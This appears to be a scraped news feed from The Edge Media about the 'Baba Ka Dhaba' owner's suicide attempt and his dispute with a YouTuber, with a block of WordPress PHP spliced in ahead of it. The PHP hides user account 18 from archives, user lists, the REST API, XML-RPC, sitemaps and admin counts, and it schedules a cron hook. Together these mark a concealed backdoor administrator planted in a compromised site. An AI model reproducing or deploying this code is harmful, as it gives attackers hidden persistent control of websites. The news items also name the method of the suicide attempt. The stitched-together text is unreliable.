add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Owner of Baba ka Dhaba attempts suicide appeared first on The Edge Media.
]]>“Kanta Prasad, 80-year-old owner of ‘Baba Ka Dhaba’ was admitted to Safdarjung Hospital last night. He was brought in an unconscious condition after he consumed alcohol & sleeping pills. Statement of his son has been recorded for the same. Probe is going on,” said DCP, South, Atul Thakur
Prasad came into the spotlight last year when a post on social media showing him crying because of his financial woes became viral, provoking overwhelming support in cash and in kind.
Prasad allegedly received a total of Rs 42 lakh as help, said social worker Adlakha, who had helped ‘baba’ set up the new restaurant
The post Owner of Baba ka Dhaba attempts suicide appeared first on The Edge Media.
]]>The post Baba Ka Dhaba owner apologises to YouTuber Guarav Wassan appeared first on The Edge Media.
]]>In the video clip, Kanta Prasad is seen with folded hands apologising and claimed that he didn’t accuse Gaurav Wasan of stealing money and that he made a mistake of saying that Wassan had approached them.
Eighty-year-old Kanta Prasad and his wife Badaami Devi are now back to the old Dhaba after their restaurant in south Delhi’s Malviya Nagar wasn’t successful.
Last year, the story of the dhaba owner had gone viral after food blogger Gaurav Wassan visited Baba Ka Dhaba and posted a clip of it on his Instagram account. In the short video, Kanta Prasad broke down in tears as he narrated his plight of the difficulties that he faced while running the eatery in the wake of the coronavirus pandemic.
Though Wassan helped Prasad and his business that was hit by the pandemic, the 80-year-old alleged that the YouTuber cheated him and misused the funds received by him. He also filed an FIR against Wassan, claiming the YouTuber “intentionally and deliberately shared his bank details and mobile numbers with the donors and collected a huge amount of donation”.
The post Baba Ka Dhaba owner apologises to YouTuber Guarav Wassan appeared first on The Edge Media.
]]>